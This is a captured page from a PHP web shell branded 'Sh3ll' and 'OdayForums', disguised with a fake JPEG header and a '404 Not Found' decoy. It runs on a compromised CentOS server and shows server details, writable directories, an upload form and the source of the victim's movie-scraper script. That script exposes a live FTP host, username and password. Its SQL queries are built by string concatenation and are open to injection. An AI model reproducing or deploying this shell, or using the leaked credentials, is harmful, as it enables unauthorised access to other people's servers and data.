JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/ophim1.php
<?php
ini_set("display_errors", true);
date_default_timezone_set("America/New_York");
session_start();
define('ROOT_PATH', dirname(__FILE__) . '/');
// Load Configs file
require ROOT_PATH."configs.php";
require ROOT_PATH."const.php";
// Load Base
require ROOT_PATH."lib/class_info.php";
global $INFO;
$CORE =	new info();
require ROOT_PATH."lib/class_functions.php";
$func = new FUNC;
$CORE->input = $func->get_input();
require ROOT_PATH."lib/class_display.php";
$print = new display();
require ROOT_PATH."lib/class_db_mysqli.php";
$DB = new db_driver;
$DB->connect($INFO);
$from = $_GET['from']??0;
$to = $_GET['to']??0;
if($from==0 or $to==0){
    exit('Xin chọn từ đến trang');
}
for($i=$from;$i<=$to;$i++){
    $url_page = 'https://ophim1.com/danh-sach/phim-moi-cap-nhat?page='.$i;
    $content = get_content_page($url_page,'https://ophim8.cc/');
    $arr_content = json_decode($content,'true');
    $j=1;
    foreach($arr_content['items'] as $val){
        $tmp_slug = $val['slug'];
        $url = 'https://ophim1.com/phim/'.$tmp_slug;
        $content = get_content_page($url,'https://ophim8.cc/');
        $arr_content = json_decode($content,'true');
        $arr_movie = $arr_content['movie'];

        $sotap = 1;
        if(isset($arr_movie['episode_total']) and intval($arr_movie['episode_total']>0)){
            $sotap = intval($arr_movie['episode_total']);
        }

        $linkphim = '';
        if(isset($arr_content['episodes'][0]['server_data'])){
            $arr_epi = $arr_content['episodes'][0]['server_data'];
            foreach($arr_epi as $val){
                if(isset($val['link_m3u8']) and $val['link_m3u8']!='') {
                    $linkphim .= $val['link_m3u8'] . '@';
                }
            }
            $linkphim = $func->remove_lastchar($linkphim,1);
        }
        if($linkphim==''){
            continue;
        }

        $slug_movie =  $arr_movie['slug'];
        $row_check_phim = $DB->fetch_row($DB->query("SELECT * FROM gtdesign_phim WHERE slug='$slug_movie' "));
        if($row_check_phim){
            $DB->query("UPDATE gtdesign_phim SET linkphim='$linkphim' WHERE id='".$row_check_phim['id']."' ");
            if (ob_get_level() == 0) ob_start();
            echo $i.'-update-'.$j.'- '.$row_check_phim['title_vi'].'<br/>';
            ob_flush();
            flush();
            sleep(1);
            ob_end_flush();
        }else{
            $title_vi = $arr_movie['name'];
            $title_en = $arr_movie['origin_name'];
            $title_other = $title_en;
            $url_img = $arr_movie['thumb_url'];
            $content_img = get_content_page($url_img, 'https://ophim8.cc/');
            $img_local = ROOT_PATH.'upload/' . $tmp_slug . '.jpg';
            file_put_contents($img_local, $content_img);
            smart_resize_image($img_local, null, 222 , 312 , false , $img_local, false , false ,100 );
            $arr_img[] = $img_local;
            $arr_img_return = post_ftp($arr_img);
            $img = $arr_img_return[0]['domain'].'/'.$arr_img_return[0]['url_dir'].'/'.$arr_img_return[0]['file_name'];
            if($arr_movie['type']=='series'){
                $hinhthuc = 'tv-drama';
            }elseif($arr_movie['type']=='hoathinh'){
                if($sotap>1){
                    $hinhthuc = 'tv-drama';
                }else{
                    $hinhthuc = 'movie';
                }
            }else{
                $hinhthuc = 'movie';
                if($arr_movie['chieurap']==true){
                    $hinhthuc = 'in-theaters';
                }
            }
            $ngonngu = 'viet-sub';
            if($arr_movie['lang']!='Vietsub'){
                $ngonngu = 'subtitle';
            }
            $theloai = '';
            foreach($arr_movie['category'] as $val){
                $name = $val['name'];
                $slug = $val['slug'];
                $arr_insert_theloai = array('name'=>$name,'ename'=>'','slug'=>$slug);
                $row_check_theloai = $DB->fetch_row($DB->query("SELECT * FROM gtdesign_genres WHERE slug='$slug'"));
                if(!$row_check_theloai){
                    $DB->do_insert('gtdesign_genres',$arr_insert_theloai);
                }
                $theloai .= $slug.'@';
            }
            if($arr_movie['type']=='hoathinh'){
                $theloai .= 'anime@';
            }
            $quocgia = '';
            foreach($arr_movie['country'] as $val){
                $name = $val['name'];
                $slug = $val['slug'];
                $arr_insert_quocgia = array('name'=>$name,'ename'=>'','slug'=>$slug);
                $row_check = $DB->fetch_row($DB->query("SELECT * FROM gtdesign_country WHERE slug='$slug'"));
                if(!$row_check){
                    $DB->do_insert('gtdesign_country',$arr_insert_quocgia);
                }
                $quocgia .= $slug.'@';
            }
            $namphathanh = $arr_movie['year'];
            $daodien = '';
            if(!empty($arr_movie['director'])){
                $daodien = implode(', ',$arr_movie['director']);
            }
            $dienvien = '';
            if(!empty($arr_movie['actor'])){
                $dienvien = implode(', ',$arr_movie['actor']);
            }
            $chatluong = $arr_movie['quality'];
            $plot = strip_tags($arr_movie['content']);
            $plot_en = $plot;

            $dodai =  $arr_movie['time'];
            $arr_insert_phim = array('title_vi'=>$title_vi,'title_en'=>$title_en,'title_other'=>$title_other,'img'=>$img,'hinhthuc'=>$hinhthuc,'ngonngu'=>$ngonngu,'theloai'=>$theloai,'quocgia'=>$quocgia,'namphathanh'=>$namphathanh,'daodien'=>$daodien,'dienvien'=>$dienvien,'chatluong'=>$chatluong,'plot'=>$plot,'plot_en'=>$plot_en,'sotap'=>$sotap,'dodai'=>$dodai,'linkphim'=>$linkphim,'linkphim_tm'=>'','linkphim_lt'=>'','tags'=>'','hit'=>1,'time'=>time(),'user_post'=>'phim19dotcom@gmail.com','status'=>1,'phimdecu'=>0,'yeucau'=>'','hot'=>0,'link_download'=>'','pos'=>1,'basic_link'=>$url,'subtitle'=>'','slug'=>$slug_movie);
            $DB->do_insert('gtdesign_phim',$arr_insert_phim);
            /*$DB->query("INSERT INTO `gtdesign_phim` ( `title_vi`, `title_en`, `title_other`, `img`, `hinhthuc`, `ngonngu`, `theloai`, `quocgia`, `namphathanh`, `daodien`, `dienvien`, `chatluong`, `plot`, `plot_en`, `sotap`, `dodai`,`linkphim`,`linkphim_tm`, `linkphim_lt`, `tags`, `hit`, `time`, `user_post`, `status`, `phimdecu`, `yeucau`,`hot`, `link_download`, `pos`, `basic_link`,`subtitle`,`slug`) VALUES ( '".$title_vi."', '".$title_en."', '".$title_other."', '".$img."', '".$hinhthuc."', '".$ngonngu."', '".$theloai."', '".$quocgia."', '".$namphathanh."', '".$daodien."', '".$dienvien."', '".$chatluong."', '".$plot."', '".$plot_en."', '".$sotap."', '".$dodai."', '".trim($linkphim)."','','','', '1', '".time()."', 'phim19dotcom@gmail.com', '1', '0', '','0', '', '1', '', '','$slug_movie');");*/

            if (ob_get_level() == 0) ob_start();
            echo $i.'-insert-'.$j.'- '.$title_vi.'<br/>';
            ob_flush();
            flush();
            sleep(1);
            ob_end_flush();
        }
        $j++;
        //print_r($arr_img_return);
        /*$DB->query("INSERT INTO `gtdesign_phim` ( `title_vi`, `title_en`, `title_other`, `img`, `hinhthuc`, `ngonngu`, `theloai`, `quocgia`, `namphathanh`, `daodien`, `dienvien`, `chatluong`, `plot`, `plot_en`, `sotap`, `dodai`,`linkphim`,`linkphim_tm`, `linkphim_lt`, `tags`, `hit`, `time`, `user_post`, `status`, `phimdecu`, `yeucau`,`hot`, `link_download`, `pos`, `basic_link`,`subtitle`) VALUES ( '".$f['title_vi']."', '".$f['title_en']."', '".$f['title_other']."', '".$f['img']."', '".$f['hinhthuc']."', '".$f['ngonngu']."', '".$f['theloai']."', '".$f['quocgia']."', '".$f['namphathanh']."', '".$f['daodien']."', '".$f['dienvien']."', '".$f['chatluong']."', '".$f['plot']."', '".$f['plot_en']."', '".$f['sotap']."', '".$f['dodai']."', '".trim($f['linkphim'])."','".trim($f['linkphim_tm'])."','".trim($f['linkphim_lt'])."','".$f['tags']."', '1', '".time()."', 'phim19dotcom@gmail.com', '".$f['status']."', '".$f['phimdecu']."', '".$f['yeucau']."','".$f['hot']."', '".$f['link_download']."', '1', '".$f['basic_link']."', '".$f['subtitle']."');");*/
    }
}



function post_ftp($arr_src_file){
    global $arr_ftp;
    // ftp settings
    $ftp_domain = 'https://img1.vidoe.top';
    $ftp_hostname = '67.211.216.250';
    $ftp_username =  'admin_img';
    $ftp_password =  'Gunblade!23';
    $path_of_storage = '/public_html';
    $newftpdir = 'upload/'.date('Y').'/'.date('m').'/'.date('d');
    //$remote_dir = $path_of_storage.'/'.$newftpdir.'/'.basename($src_file);
    //$src_file = $_FILES['srcfile']['name'];
    $arr_link_img = array();
    //upload file
    if(!empty($arr_src_file)){
        // connect ftp
        $ftpcon = ftp_connect($ftp_hostname) or die('Error connecting to ftp server...');
        // ftp login
        $ftplogin = ftp_login($ftpcon, $ftp_username, $ftp_password) or die('Error login '.$ftp_username.' to ftp server...');
        ftp_pasv($ftpcon, true);
        //make dir
        ftp_mksubdirs($ftpcon,$path_of_storage,$newftpdir);
        foreach($arr_src_file as $src_file){
            $remote_dir = $path_of_storage.'/'.$newftpdir.'/'.basename($src_file);
            // ftp upload
            if (@ftp_put($ftpcon, $remote_dir, $src_file, FTP_BINARY)) {
                //echo 'File uploaded successfully to FTP server!';
                $arr_link_img[] = array(
                    'domain'=>$ftp_domain,
                    'url_dir'=>$newftpdir,
                    'file_name'=>basename($src_file),
                    'path_of_storage'=>$path_of_storage
                );
                unlink($src_file);
            }else {
                continue;
            }
        }
        // close ftp stream
        ftp_close($ftpcon);
    }
    return $arr_link_img;
}
function ftp_mksubdirs($ftpcon,$ftpbasedir,$ftpath){
    @ftp_chdir($ftpcon, $ftpbasedir); // /var/www/uploads
    $parts = explode('/',$ftpath); // 2013/06/11/username
    foreach($parts as $part){
        if(!@ftp_chdir($ftpcon, $part)){
            ftp_mkdir($ftpcon, $part);
            ftp_chdir($ftpcon, $part);
            //ftp_chmod($ftpcon, 0777, $part);
        }
    }
}
function get_content_page($url,$referer) {
    $header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
    $header[0] .= "text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5";
    $header[] = "Cache-Control: max-age=0";
    $header[] = "Connection: keep-alive";
    $header[] = "Keep-Alive: 300";
    $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $header[] = "Accept-Language: en-us,en;q=0.5";
    $header[] = "Pragma: "; // browsers keep this blank.
    $process = curl_init($url);
    curl_setopt($process, CURLOPT_HTTPHEADER, $header);
    curl_setopt($process, CURLOPT_HEADER, 0);
    curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36');
    //curl_setopt($process, CURLOPT_COOKIEFILE, dirname(__FILE__).'/'.'cookies_youtube.txt');
    //curl_setopt($process, CURLOPT_COOKIEJAR,  dirname(__FILE__).'/'.'cookies_youtube.txt');
    curl_setopt($process, CURLOPT_REFERER, $referer);
    curl_setopt($process, CURLOPT_ENCODING, 'gzip,deflate');
    //curl_setopt($process,CURLOPT_ENCODING , compression);
    curl_setopt($process, CURLOPT_TIMEOUT, 20);
    //if (proxy) curl_setopt($cUrl, CURLOPT_PROXY, 'proxy_ip:proxy_port');
    curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
    //curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
    $return = curl_exec($process);
    curl_close($process);
    return $return;
}
function smart_resize_image($file,
                            $string             = null,
                            $width              = 0,
                            $height             = 0,
                            $proportional       = false,
                            $output             = 'file',
                            $delete_original    = true,
                            $use_linux_commands = false,
                            $quality            = 100,
                            $grayscale          = false
) {

    if ( $height <= 0 && $width <= 0 ) return false;
    if ( $file === null && $string === null ) return false;

    # Setting defaults and meta
    $info                         = $file !== null ? getimagesize($file) : getimagesizefromstring($string);
    $image                        = '';
    $final_width                  = 0;
    $final_height                 = 0;
    list($width_old, $height_old) = $info;
    $cropHeight = $cropWidth = 0;

    # Calculating proportionality
    if ($proportional) {
        if      ($width  == 0)  $factor = $height/$height_old;
        elseif  ($height == 0)  $factor = $width/$width_old;
        else                    $factor = min( $width / $width_old, $height / $height_old );

        $final_width  = round( $width_old * $factor );
        $final_height = round( $height_old * $factor );
    }
    else {
        $final_width = ( $width <= 0 ) ? $width_old : $width;
        $final_height = ( $height <= 0 ) ? $height_old : $height;
        $widthX = $width_old / $width;
        $heightX = $height_old / $height;

        $x = min($widthX, $heightX);
        $cropWidth = ($width_old - $width * $x) / 2;
        $cropHeight = ($height_old - $height * $x) / 2;
    }

    # Loading image to memory according to type
    switch ( $info[2] ) {
        case IMAGETYPE_JPEG:  $file !== null ? $image = imagecreatefromjpeg($file) : $image = imagecreatefromstring($string);  break;
        case IMAGETYPE_GIF:   $file !== null ? $image = imagecreatefromgif($file)  : $image = imagecreatefromstring($string);  break;
        case IMAGETYPE_PNG:   $file !== null ? $image = imagecreatefrompng($file)  : $image = imagecreatefromstring($string);  break;
        default: return false;
    }

    # Making the image grayscale, if needed
    if ($grayscale) {
        imagefilter($image, IMG_FILTER_GRAYSCALE);
    }

    # This is the resizing/resampling/transparency-preserving magic
    $image_resized = imagecreatetruecolor( $final_width, $final_height );
    if ( ($info[2] == IMAGETYPE_GIF) || ($info[2] == IMAGETYPE_PNG) ) {
        $transparency = imagecolortransparent($image);
        $palletsize = imagecolorstotal($image);

        if ($transparency >= 0 && $transparency < $palletsize) {
            $transparent_color  = imagecolorsforindex($image, $transparency);
            $transparency       = imagecolorallocate($image_resized, $transparent_color['red'], $transparent_color['green'], $transparent_color['blue']);
            imagefill($image_resized, 0, 0, $transparency);
            imagecolortransparent($image_resized, $transparency);
        }
        elseif ($info[2] == IMAGETYPE_PNG) {
            imagealphablending($image_resized, false);
            $color = imagecolorallocatealpha($image_resized, 0, 0, 0, 127);
            imagefill($image_resized, 0, 0, $color);
            imagesavealpha($image_resized, true);
        }
    }
    imagecopyresampled($image_resized, $image, 0, 0, $cropWidth, $cropHeight, $final_width, $final_height, $width_old - 2 * $cropWidth, $height_old - 2 * $cropHeight);


    # Taking care of original, if needed
    if ( $delete_original ) {
        if ( $use_linux_commands ) exec('rm '.$file);
        else @unlink($file);
    }

    # Preparing a method of providing result
    switch ( strtolower($output) ) {
        case 'browser':
            $mime = image_type_to_mime_type($info[2]);
            header("Content-type: $mime");
            $output = NULL;
            break;
        case 'file':
            $output = $file;
            break;
        case 'return':
            return $image_resized;
            break;
        default:
            break;
    }

    # Writing image according to type to the output destination and image quality
    switch ( $info[2] ) {
        case IMAGETYPE_GIF:   imagegif($image_resized, $output);    break;
        case IMAGETYPE_JPEG:  imagejpeg($image_resized, $output, $quality);   break;
        case IMAGETYPE_PNG:
            $quality = 9 - (int)((0.9*$quality)/10.0);
            imagepng($image_resized, $output, $quality);
            break;
        default: return false;
    }

    return true;
}
$DB->free_result();
$DB->close_db();
?>

ZeroDay Forums Mini